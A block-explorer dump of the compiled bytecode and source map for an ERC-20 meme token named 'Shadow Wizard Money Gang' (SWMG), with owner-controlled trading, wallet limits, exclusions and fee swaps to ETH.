610d7357506001600160a01b0382166000908152600a602052604090205460ff16155b8015610d8d57506002546001600160a01b03838116911614155b8015610da457506001600160a01b03821661dead14155b15610e1d576005546001600160a01b038316600090815260086020526040902054610dcf9083611011565b1115610e1d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016105e8565b6002546001600160a01b03848116911614610ebe5760045481111580610e5b57506001600160a01b0383166000908152600a602052604090205460ff165b80610e7e57506001600160a01b0382166000908152600a602052604090205460ff165b610ebe5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105e8565b60035481111580610ee757506001600160a01b0383166000908152600a602052604090205460ff165b80610f0a57506001600160a01b0382166000908152600a602052604090205460ff165b610f4a5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105e8565b6002546001600160a01b038381169116148015610f8057506001600160a01b0383166000908152600a602052604090205460ff16155b15610f9e576001600c6000828254610f989190611ab9565b90915550505b610fa983838361101d565b15610fbf57610fb96006546110c5565b6000600c555b610fe0838383610fcf8787611298565b610fd957846112f1565b60006112f1565b505050565b600081848411156110095760405162461bcd60e51b81526004016105e89190611739565b505050900390565b60006105b78284611ab9565b60075460065430600090815260086020526040812054600d5491938510159211159060ff161580156110565750600b54610100900460ff165b80156110645750600b5460ff165b801561108957506001600160a01b0386166000908152600a602052604090205460ff16155b80156110a257506002546001600160a01b038681169116145b80156110b25750600e54600c5410155b80156110bb5750805b9695505050505050565b600d805460ff19166001908117909155601154601054600f54600093611105936002936110ff9391926110f9928391611011565b90611011565b906113d8565b9050600061112882611122600f54866113d890919063ffffffff16565b906113e4565b905060006111368483610bd5565b6014546001600160a01b03166000908152600860205260408120549192504791905060006006548210611181578061116f576000611171565b825b60055461117e9190611acc565b93505b61118a846113f0565b60006111964785610bd5565b905060006111b96111b2600f548a610bd590919063ffffffff16565b83906113e4565b905060006111d2600f54836113d890919063ffffffff16565b905080156111e4576111e4888261154a565b6010546000906111f9906110ff8560026113d8565b9050801561123d576014546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561123b573d6000803e3d6000fd5b505b478015611280576013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561127e573d6000803e3d6000fd5b505b5050600d805460ff1916905550505050505050505050565b6002546000906001600160a01b0383811691161480156112c557506014546001600160a01b038481169116145b80156112d957506001600160a01b03831615155b80156105b75750506001600160a01b03161515919050565b6001600160a01b0384166000908152600860205260409020546113149082610bd5565b6001600160a01b03851660009081526008602052604081209190915561133a85856115a2565b611344578261134f565b61134f8585856115e8565b6001600160a01b0385166000908152600860205260409020549091506113759082611011565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c99085815260200190565b60405180910390a35050505050565b60006105b782846119e9565b60006105b78284611acc565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061142557611425611aee565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a29190611a20565b816001815181106114b5576114b5611aee565b6001600160a01b0392831660209182029290920101526001546114db9130911684610ab1565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611514908590600090869030904290600401611b04565b600060405180830381600087803b15801561152e57600080fd5b505af1158015611542573d6000803e3d6000fd5b505050505050565b6001546115629030906001600160a01b031684610ab1565b60015460155460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926108779230928992600092839216904290600401611a3d565b6001600160a01b0382166000908152600a602052604081205460ff161580156105b75750506001600160a01b03166000908152600a602052604090205460ff1615919050565b6000806115f585856116ee565b11156116e757600061161760125461112261161088886116ee565b86906113d8565b306000908152600860205260409020549091506116349082611011565b30600081815260086020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116859085815260200190565b60405180910390a360006016541180156116a957506016546116a786866116ee565b115b156116d5576116d53061dead6116d06016546110ff601254896113e490919063ffffffff16565b610be1565b6116df8382610bd5565b9150506105b7565b5092915050565b6002546000906001600160a01b039081169083160361171057506018546104ce565b6002546001600160a01b039081169084160361172f57506017546104ce565b5060195492915050565b600060208083528351808285015260005b818110156117665785810183015185820160400152820161174a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461179c57600080fd5b50565b600080604083850312156117b257600080fd5b82356117bd81611787565b946020939093013593505050565b6000806000606084860312156117e057600080fd5b83356117eb81611787565b925060208401356117fb81611787565b929592945050506040919091013590565b60006020828403121561181e57600080fd5b81356105b781611787565b6000806040838503121561183c57600080fd5b823561184781611787565b91506020830135801515811461185c57600080fd5b809150509250929050565b60008060006060848603121561187c57600080fd5b833561188781611787565b9250602084013561189781611787565b915060408401356118a781611787565b809150509250925092565b600080604083850312156118c557600080fd5b82356118d081611787565b9150602083013561185c81611787565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611931578160001904821115611917576119176118e0565b8085161561192457918102915b93841c93908002906118fb565b509250929050565b600082611948575060016104ce565b81611955575060006104ce565b816001811461196b576002811461197557611991565b60019150506104ce565b60ff841115611986576119866118e0565b50506001821b6104ce565b5060208310610133831016604e8410600b84101617156119b4575081810a6104ce565b6119be83836118f6565b80600019048211156119d2576119d26118e0565b029392505050565b60006105b760ff841683611939565b80820281158282048414176104ce576104ce6118e0565b60208082526006908201526510a7aba722a960d11b604082015260600190565b600060208284031215611a3257600080fd5b81516105b781611787565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611a8d57600080fd5b8351925060208401519150604084015190509250925092565b818103818111156104ce576104ce6118e0565b808201808211156104ce576104ce6118e0565b600082611ae957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b545784516001600160a01b031683529383019391830191600101611b2f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122014d01a1fb868a1477ac18c1cedf3013e045df7bda0042ad0be82d51b5055e7be64736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063572eeb28116100b6578063893d20e81161006f578063893d20e8146103d657806395d89b41146103f4578063a9059cbb14610421578063dd62ed3e14610441578063f2fde38b14610487578063f8f3c5a9146104a757600080fd5b8063572eeb28146103385780635f49ea341461034057806370a0823114610360578063715018a614610396578063751039fc146103ab5780637d5d3944146103c057600080fd5b806323b872dd1161010857806323b872dd14610266578063293230b8146102865780632f54bf6e1461029d578063313ce567146102cc5780633f4218e0146102e857806348ff2b8b1461031857600080fd5b80630445b6671461015b578063056939da1461018457806306fdde03146101bc578063095ea7b31461020b57806314f7ceea1461023b57806318160ddd1461025157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017160065481565b6040519081526020015b60405180910390f35b34801561019057600080fd5b506002546101a4906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b3480156101c857600080fd5b5060408051808201909152601881527f536861646f772057697a617264204d6f6e65792047616e67000000000000000060208201525b60405161017b9190611739565b34801561021757600080fd5b5061022b61022636600461179f565b6104bd565b604051901515815260200161017b565b34801561024757600080fd5b5061017160055481565b34801561025d57600080fd5b506101716104d4565b34801561027257600080fd5b5061022b6102813660046117cb565b610554565b34801561029257600080fd5b5061029b6105be565b005b3480156102a957600080fd5b5061022b6102b836600461180c565b6000546001600160a01b0391821691161490565b3480156102d857600080fd5b506040516009815260200161017b565b3480156102f457600080fd5b5061022b61030336600461180c565b600a6020526000908152604090205460ff1681565b34801561032457600080fd5b5061029b610333366004611829565b610602565b61029b610657565b34801561034c57600080fd5b5061029b61035b366004611867565b6108c1565b34801561036c57600080fd5b5061017161037b36600461180c565b6001600160a01b031660009081526008602052604090205490565b3480156103a257600080fd5b5061029b610967565b3480156103b757600080fd5b5061029b6109a3565b3480156103cc57600080fd5b5061017160045481565b3480156103e257600080fd5b506000546001600160a01b03166101a4565b34801561040057600080fd5b5060408051808201909152600481526353574d4760e01b60208201526101fe565b34801561042d57600080fd5b5061022b61043c36600461179f565b610a26565b34801561044d57600080fd5b5061017161045c3660046118b2565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561049357600080fd5b5061029b6104a236600461180c565b610a33565b3480156104b357600080fd5b5061017160035481565b60006104ca338484610ab1565b5060015b92915050565b60086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75461dead60009081527f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429954909161054f916105499061053b6009600a6119da565b61054990633b9aca006119e9565b90610bd5565b905090565b6000610561848484610be1565b6105b384336105ae85604051806060016040528060288152602001611b76602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610fe5565b610ab1565b5060015b9392505050565b6000546001600160a01b031633146105f15760405162461bcd60e51b81526004016105e890611a00565b60405180910390fd5b600b805461ffff1916610101179055565b6000546001600160a01b0316331461062c5760405162461bcd60e51b81526004016105e890611a00565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146106815760405162461bcd60e51b81526004016105e890611a00565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe9190611a20565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f9190611a20565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190611a20565b600180546001600160a01b038086166001600160a01b03199283168117909355600280549185169190921617905590915061081f903090600019610ab1565b6001546001600160a01b031663f305d7193430610851816001600160a01b031660009081526008602052604090205490565b60008033426040518863ffffffff1660e01b815260040161087796959493929190611a3d565b60606040518083038185885af1158015610895573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ba9190611a78565b5050505050565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016105e890611a00565b601480546001600160a01b039485166001600160a01b0319918216811790925560158054948616948216851790556013805493909516921682179093556000928352600a6020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016105e890611a00565b600080546001600160a01b0319169055565b6000546001600160a01b031633146109cd5760405162461bcd60e51b81526004016105e890611a00565b6109d96009600a6119da565b6109e790633b9aca006119e9565b6003556109f66009600a6119da565b610a0490633b9aca006119e9565b600455610a136009600a6119da565b610a2190633b9aca006119e9565b600555565b60006104ca338484610be1565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b81526004016105e890611a00565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610b135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e8565b6001600160a01b038216610b745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e8565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105b78284611aa6565b6001600160a01b038316610c455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e8565b6001600160a01b038216610ca75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e8565b6001600160a01b0383166000908152600a602052604090205460ff16158015610ce957506001600160a01b0382166000908152600a602052604090205460ff16155b15610d3157600b5460ff16610d315760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016105e8565b6001600160a01b0383166000908152600a602052604090205460ff16158015610d7357506001600160a01b0382166000908152600a602052604090205460ff16155b8015610d8d57506002546001600160a01b03838116911614155b8015610da457506001600160a01b03821661dead14155b15610e1d576005546001600160a01b038316600090815260086020526040902054610dcf9083611011565b1115610e1d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016105e8565b6002546001600160a01b03848116911614610ebe5760045481111580610e5b57506001600160a01b0383166000908152600a602052604090205460ff165b80610e7e57506001600160a01b0382166000908152600a602052604090205460ff165b610ebe5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105e8565b60035481111580610ee757506001600160a01b0383166000908152600a602052604090205460ff165b80610f0a57506001600160a01b0382166000908152600a602052604090205460ff165b610f4a5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105e8565b6002546001600160a01b038381169116148015610f8057506001600160a01b0383166000908152600a602052604090205460ff16155b15610f9e576001600c6000828254610f989190611ab9565b90915550505b610fa983838361101d565b15610fbf57610fb96006546110c5565b6000600c555b610fe0838383610fcf8787611298565b610fd957846112f1565b60006112f1565b505050565b600081848411156110095760405162461bcd60e51b81526004016105e89190611739565b505050900390565b60006105b78284611ab9565b60075460065430600090815260086020526040812054600d5491938510159211159060ff161580156110565750600b54610100900460ff165b80156110645750600b5460ff165b801561108957506001600160a01b0386166000908152600a602052604090205460ff16155b80156110a257506002546001600160a01b038681169116145b80156110b25750600e54600c5410155b80156110bb5750805b9695505050505050565b600d805460ff19166001908117909155601154601054600f54600093611105936002936110ff9391926110f9928391611011565b90611011565b906113d8565b9050600061112882611122600f54866113d890919063ffffffff16565b906113e4565b905060006111368483610bd5565b6014546001600160a01b03166000908152600860205260408120549192504791905060006006548210611181578061116f576000611171565b825b60055461117e9190611acc565b93505b61118a846113f0565b60006111964785610bd5565b905060006111b96111b2600f548a610bd590919063ffffffff16565b83906113e4565b905060006111d2600f54836113d890919063ffffffff16565b905080156111e4576111e4888261154a565b6010546000906111f9906110ff8560026113d8565b9050801561123d576014546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561123b573d6000803e3d6000fd5b505b478015611280576013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561127e573d6000803e3d6000fd5b505b5050600d805460ff1916905550505050505050505050565b6002546000906001600160a01b0383811691161480156112c557506014546001600160a01b038481169116145b80156112d957506001600160a01b03831615155b80156105b75750506001600160a01b03161515919050565b6001600160a01b0384166000908152600860205260409020546113149082610bd5565b6001600160a01b03851660009081526008602052604081209190915561133a85856115a2565b611344578261134f565b61134f8585856115e8565b6001600160a01b0385166000908152600860205260409020549091506113759082611011565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c99085815260200190565b60405180910390a35050505050565b60006105b782846119e9565b60006105b78284611acc565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061142557611425611aee565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a29190611a20565b816001815181106114b5576114b5611aee565b6001600160a01b0392831660209182029290920101526001546114db9130911684610ab1565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611514908590600090869030904290600401611b04565b600060405180830381600087803b15801561152e57600080fd5b505af1158015611542573d6000803e3d6000fd5b505050505050565b6001546115629030906001600160a01b031684610ab1565b60015460155460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926108779230928992600092839216904290600401611a3d565b6001600160a01b0382166000908152600a602052604081205460ff161580156105b75750506001600160a01b03166000908152600a602052604090205460ff1615919050565b6000806115f585856116ee565b11156116e757600061161760125461112261161088886116ee565b86906113d8565b306000908152600860205260409020549091506116349082611011565b30600081815260086020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116859085815260200190565b60405180910390a360006016541180156116a957506016546116a786866116ee565b115b156116d5576116d53061dead6116d06016546110ff601254896113e490919063ffffffff16565b610be1565b6116df8382610bd5565b9150506105b7565b5092915050565b6002546000906001600160a01b039081169083160361171057506018546104ce565b6002546001600160a01b039081169084160361172f57506017546104ce565b5060195492915050565b600060208083528351808285015260005b818110156117665785810183015185820160400152820161174a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461179c57600080fd5b50565b600080604083850312156117b257600080fd5b82356117bd81611787565b946020939093013593505050565b6000806000606084860312156117e057600080fd5b83356117eb81611787565b925060208401356117fb81611787565b929592945050506040919091013590565b60006020828403121561181e57600080fd5b81356105b781611787565b6000806040838503121561183c57600080fd5b823561184781611787565b91506020830135801515811461185c57600080fd5b809150509250929050565b60008060006060848603121561187c57600080fd5b833561188781611787565b9250602084013561189781611787565b915060408401356118a781611787565b809150509250925092565b600080604083850312156118c557600080fd5b82356118d081611787565b9150602083013561185c81611787565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611931578160001904821115611917576119176118e0565b8085161561192457918102915b93841c93908002906118fb565b509250929050565b600082611948575060016104ce565b81611955575060006104ce565b816001811461196b576002811461197557611991565b60019150506104ce565b60ff841115611986576119866118e0565b50506001821b6104ce565b5060208310610133831016604e8410600b84101617156119b4575081810a6104ce565b6119be83836118f6565b80600019048211156119d2576119d26118e0565b029392505050565b60006105b760ff841683611939565b80820281158282048414176104ce576104ce6118e0565b60208082526006908201526510a7aba722a960d11b604082015260600190565b600060208284031215611a3257600080fd5b81516105b781611787565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611a8d57600080fd5b8351925060208401519150604084015190509250925092565b818103818111156104ce576104ce6118e0565b808201808211156104ce576104ce6118e0565b600082611ae957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b545784516001600160a01b031683529383019391830191600101611b2f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122014d01a1fb868a1477ac18c1cedf3013e045df7bda0042ad0be82d51b5055e7be64736f6c63430008110033

Deployed Bytecode Sourcemap

5089:10173:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5660:59;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5660:59:0;;;;;;;;5189:21;;;;;;;;;;-1:-1:-1;5189:21:0;;;;-1:-1:-1;;;;;5189:21:0;;;;;;-1:-1:-1;;;;;360:32:1;;;342:51;;330:2;315:18;5189:21:0;196:203:1;7228:67:0;;;;;;;;;;-1:-1:-1;7288:5:0;;;;;;;;;;;;;;;;;7228:67;;;;;;;:::i;8469:133::-;;;;;;;;;;-1:-1:-1;8469:133:0;;;;;:::i;:::-;;:::i;:::-;;;1578:14:1;;1571:22;1553:41;;1541:2;1526:18;8469:133:0;1413:187:1;5596:55:0;;;;;;;;;;;;;;;;8608:132;;;;;;;;;;;;;:::i;14309:309::-;;;;;;;;;;-1:-1:-1;14309:309:0;;;;;:::i;:::-;;:::i;7451:86::-;;;;;;;;;;;;;:::i;:::-;;3865:87;;;;;;;;;;-1:-1:-1;3865:87:0;;;;;:::i;:::-;3920:4;3945:5;-1:-1:-1;;;;;3934:16:0;;;3945:5;;3934:16;;3865:87;7378:67;;;;;;;;;;-1:-1:-1;7378:67:0;;5380:1;2460:36:1;;2448:2;2433:18;7378:67:0;2318:184:1;5917:44:0;;;;;;;;;;-1:-1:-1;5917:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8014:108;;;;;;;;;;-1:-1:-1;8014:108:0;;;;;:::i;:::-;;:::i;14796:463::-;;;:::i;9144:314::-;;;;;;;;;;-1:-1:-1;9144:314:0;;;;;:::i;:::-;;:::i;7627:103::-;;;;;;;;;;-1:-1:-1;7627:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7710:18:0;7693:7;7710:18;;;:9;:18;;;;;;;7627:103;3734:77;;;;;;;;;;;;;:::i;14626:162::-;;;;;;;;;;;;;:::i;5532:57::-;;;;;;;;;;;;;;;;7543:78;;;;;;;;;;-1:-1:-1;7595:7:0;7613:5;-1:-1:-1;;;;;7613:5:0;7543:78;;7301:71;;;;;;;;;;-1:-1:-1;7363:7:0;;;;;;;;;;;;-1:-1:-1;;;7363:7:0;;;;7301:71;;7736:139;;;;;;;;;;-1:-1:-1;7736:139:0;;;;;:::i;:::-;;:::i;7881:127::-;;;;;;;;;;-1:-1:-1;7881:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7979:18:0;;;7962:7;7979:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7881:127;3617:111;;;;;;;;;;-1:-1:-1;3617:111:0;;;;;:::i;:::-;;:::i;5470:55::-;;;;;;;;;;;;;;;;8469:133;8544:4;8551:37;8560:10;8572:7;8581:6;8551:8;:37::i;:::-;-1:-1:-1;8596:4:0;8469:133;;;;;:::o;8608:132::-;7710:9;:18;;;;6408:42;8661:7;7710:18;;;;;8661:7;;8678:60;;:33;;5447:15;5380:1;5447:2;:15;:::i;:::-;5430:33;;:13;:33;:::i;:::-;8678:16;;:33::i;:60::-;8671:67;;8608:132;:::o;14309:309::-;14407:4;14424:36;14434:6;14442:9;14453:6;14424:9;:36::i;:::-;14471:117;14480:6;14488:10;14500:87;14536:6;14500:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14500:19:0;;;;;;:11;:19;;;;;;;;14520:10;14500:31;;;;;;;;;:87;:35;:87::i;:::-;14471:8;:117::i;:::-;-1:-1:-1;14606:4:0;14309:309;;;;;;:::o;7451:86::-;3920:4;3945:5;-1:-1:-1;;;;;3945:5:0;3584:10;3934:16;3568:38;;;;-1:-1:-1;;;3568:38:0;;;;;;;:::i;:::-;;;;;;;;;7495:14:::1;:21:::0;;-1:-1:-1;;7517:18:0;;;;;7451:86::o;8014:108::-;3920:4;3945:5;-1:-1:-1;;;;;3945:5:0;3584:10;3934:16;3568:38;;;;-1:-1:-1;;;3568:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8088:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8088:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8014:108::o;14796:463::-;3920:4;3945:5;-1:-1:-1;;;;;3945:5:0;3584:10;3934:16;3568:38;;;;-1:-1:-1;;;3568:38:0;;;;;;;:::i;:::-;14856:15:::1;14882:42;14856:69;;14936:13;14961:7;-1:-1:-1::0;;;;;14961:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14952:38:0::1;;14999:4;15006:7;-1:-1:-1::0;;;;;15006:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14952:69;::::0;-1:-1:-1;;;;;;14952:69:0::1;::::0;;;;;;-1:-1:-1;;;;;6623:15:1;;;14952:69:0::1;::::0;::::1;6605:34:1::0;6675:15;;6655:18;;;6648:43;6540:18;;14952:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15032:6;:16:::0;;-1:-1:-1;;;;;15032:16:0;;::::1;-1:-1:-1::0;;;;;;15032:16:0;;::::1;::::0;::::1;::::0;;;15050:6:::1;:14:::0;;;;::::1;::::0;;;::::1;;::::0;;14936:85;;-1:-1:-1;15075:53:0::1;::::0;15092:4:::1;::::0;-1:-1:-1;;15075:8:0::1;:53::i;:::-;15140:6;::::0;-1:-1:-1;;;;;15140:6:0::1;:22;15170:9;15189:4;15195:24;15189:4:::0;-1:-1:-1;;;;;7710:18:0;7693:7;7710:18;;;:9;:18;;;;;;;7627:103;15195:24:::1;15220:1;15222::::0;15224:10:::1;15235:15;15140:111;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14845:414;;14796:463::o:0;9144:314::-;3920:4;3945:5;-1:-1:-1;;;;;3945:5:0;3584:10;3934:16;3568:38;;;;-1:-1:-1;;;3568:38:0;;;;;;;:::i;:::-;9260:11:::1;:24:::0;;-1:-1:-1;;;;;9260:24:0;;::::1;-1:-1:-1::0;;;;;;9260:24:0;;::::1;::::0;::::1;::::0;;;9286:11:::1;:24:::0;;;;::::1;::::0;;::::1;::::0;::::1;::::0;;9312:16:::1;:31:::0;;;;;::::1;::::0;::::1;::::0;::::1;::::0;;;9260:11:::1;9354:23:::0;;;:11:::1;:23;::::0;;;;;:30;;-1:-1:-1;;9354:30:0;;::::1;9260:24:::0;9354:30;;::::1;::::0;;;9386:23;;;;;;:30;;;::::1;::::0;::::1;::::0;;9418:25;;;;;;:32;;;;::::1;::::0;;::::1;::::0;;9144:314::o;3734:77::-;3920:4;3945:5;-1:-1:-1;;;;;3945:5:0;3584:10;3934:16;3568:38;;;;-1:-1:-1;;;3568:38:0;;;;;;;:::i;:::-;3806:1:::1;3790:18:::0;;-1:-1:-1;;;;;;3790:18:0::1;::::0;;3734:77::o;14626:162::-;3920:4;3945:5;-1:-1:-1;;;;;3945:5:0;3584:10;3934:16;3568:38;;;;-1:-1:-1;;;3568:38:0;;;;;;;:::i;:::-;5447:15:::1;5380:1;5447:2;:15;:::i;:::-;5430:33;::::0;:13:::1;:33;:::i;:::-;14678:11;:26:::0;5447:15:::1;5380:1;5447:2;:15;:::i;:::-;5430:33;::::0;:13:::1;:33;:::i;:::-;14715:13;:28:::0;5447:15:::1;5380:1;5447:2;:15;:::i;:::-;5430:33;::::0;:13:::1;:33;:::i;:::-;14754:11;:26:::0;14626:162::o;7736:139::-;7814:4;7821:40;7831:10;7843:9;7854:6;7821:9;:40::i;3617:111::-;3920:4;3945:5;-1:-1:-1;;;;;3945:5:0;3584:10;3934:16;3568:38;;;;-1:-1:-1;;;3568:38:0;;;;;;;:::i;:::-;3683:5:::1;:11:::0;;-1:-1:-1;;;;;;3683:11:0::1;-1:-1:-1::0;;;;;3683:11:0;::::1;::::0;;::::1;::::0;;;3701:25:::1;::::0;342:51:1;;;3701:25:0::1;::::0;330:2:1;315:18;3701:25:0::1;;;;;;;3617:111:::0;:::o;8128:335::-;-1:-1:-1;;;;;8221:19:0;;8213:68;;;;-1:-1:-1;;;8213:68:0;;8043:2:1;8213:68:0;;;8025:21:1;8082:2;8062:18;;;8055:30;8121:34;8101:18;;;8094:62;-1:-1:-1;;;8172:18:1;;;8165:34;8216:19;;8213:68:0;7841:400:1;8213:68:0;-1:-1:-1;;;;;8300:21:0;;8292:68;;;;-1:-1:-1;;;8292:68:0;;8448:2:1;8292:68:0;;;8430:21:1;8487:2;8467:18;;;8460:30;8526:34;8506:18;;;8499:62;-1:-1:-1;;;8577:18:1;;;8570:32;8619:19;;8292:68:0;8246:398:1;8292:68:0;-1:-1:-1;;;;;8371:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8423:32;;160:25:1;;;8423:32:0;;133:18:1;8423:32:0;;;;;;;8128:335;;;:::o;1442:98::-;1500:7;1527:5;1531:1;1527;:5;:::i;12756:1114::-;-1:-1:-1;;;;;12853:20:0;;12845:70;;;;-1:-1:-1;;;12845:70:0;;8984:2:1;12845:70:0;;;8966:21:1;9023:2;9003:18;;;8996:30;9062:34;9042:18;;;9035:62;-1:-1:-1;;;9113:18:1;;;9106:35;9158:19;;12845:70:0;8782:401:1;12845:70:0;-1:-1:-1;;;;;12934:23:0;;12926:71;;;;-1:-1:-1;;;12926:71:0;;9390:2:1;12926:71:0;;;9372:21:1;9429:2;9409:18;;;9402:30;9468:34;9448:18;;;9441:62;-1:-1:-1;;;9519:18:1;;;9512:33;9562:19;;12926:71:0;9188:399:1;12926:71:0;-1:-1:-1;;;;;13012:19:0;;;;;;:11;:19;;;;;;;;13011:20;:47;;;;-1:-1:-1;;;;;;13036:22:0;;;;;;:11;:22;;;;;;;;13035:23;13011:47;13008:95;;;13068:14;;;;13060:41;;;;-1:-1:-1;;;13060:41:0;;9794:2:1;13060:41:0;;;9776:21:1;9833:2;9813:18;;;9806:30;-1:-1:-1;;;9852:18:1;;;9845:44;9906:18;;13060:41:0;9592:338:1;13060:41:0;-1:-1:-1;;;;;13117:19:0;;;;;;:11;:19;;;;;;;;13116:20;:47;;;;-1:-1:-1;;;;;;13141:22:0;;;;;;:11;:22;;;;;;;;13140:23;13116:47;:79;;;;-1:-1:-1;13188:6:0;;-1:-1:-1;;;;;13167:28:0;;;13188:6;;13167:28;;13116:79;:109;;;;-1:-1:-1;;;;;;13199:26:0